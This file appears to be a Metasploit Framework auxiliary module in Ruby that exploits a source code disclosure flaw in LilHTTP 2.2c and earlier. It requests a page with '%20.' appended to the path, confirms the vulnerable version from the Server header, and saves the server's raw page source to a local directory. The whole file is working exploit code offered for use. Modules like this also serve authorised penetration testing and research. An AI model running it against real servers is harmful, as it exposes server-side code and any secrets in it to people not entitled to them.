##
# $Id: lilhttp_source_disclosure.rb 12196 2011-05-27 00:51:33Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'           => 'LilHTTP Source Code Disclosure/Download',
      'Description'    => %q{
          This module exploits a source code disclosure/download vulnerability in
        versions 2.2c and prior of LilHTTP.
      },
      'Version'        => '$Revision: 12196 $',
      'References'     =>
        [
          [ 'URL', 'http://www.summitcn.com/lilhttp/lildocs.html' ]
        ],
      'Author'         =>
        [
          'Treasure Priyamal', 
          'http://treasuresec.com',
          'treasure[at]treasuresec.com'

        ],
      'License'        =>  MSF_LICENSE)

    register_options(
      [
        OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/index.html']),
        OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '/home/zero']),
      ], self.class)
  end

  def target_url
    "http://#{vhost}:#{rport}#{datastore['URI']}"
  end

  def run_host(ip)
    uri = datastore['URI']
    path_save = datastore['PATH_SAVE']

    vuln_versions = [
      "LilHTTP/2.2c" # Only Tested on 2.2c version might work on others versions too
    ]

    disclosure = "%20."

    begin
      res = send_request_raw({
        'method'  => 'GET',
        'uri'     => "/#{uri}#{disclosure}",
      }, 25)

      version = res.headers['Server'] if res

      if vuln_versions.include?(version)
        print_good("#{target_url} - LilHTTP - Vulnerable version: #{version}")

        if (res and res.code == 200)

          print_good("#{target_url} - LilHTTP - Getting the source of page #{uri}")

          save_source = File.new("#{path_save}#{uri}","w")
          save_source.puts(res.body.to_s)
          save_source.close

          print_status("#{target_url} - LilHTTP - File successfully saved: #{path_save}#{uri}")  if (File.exists?("#{path_save}#{uri}"))

        else
          print_error("http://#{vhost}:#{rport} - LilHTTP - Unrecognized #{res.code} response")
          return

        end

      else
        if version =~ /LilHTTP/
          print_error("#{target_url} - LilHTTP - Cannot exploit: the remote server is not vulnerable - Version #{version}")
        else
          print_error("#{target_url} - LilHTTP - Cannot exploit: the remote server is not LilHTTP")
        end
        return

      end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    rescue ::Timeout::Error, ::Errno::EPIPE
    end
  end

end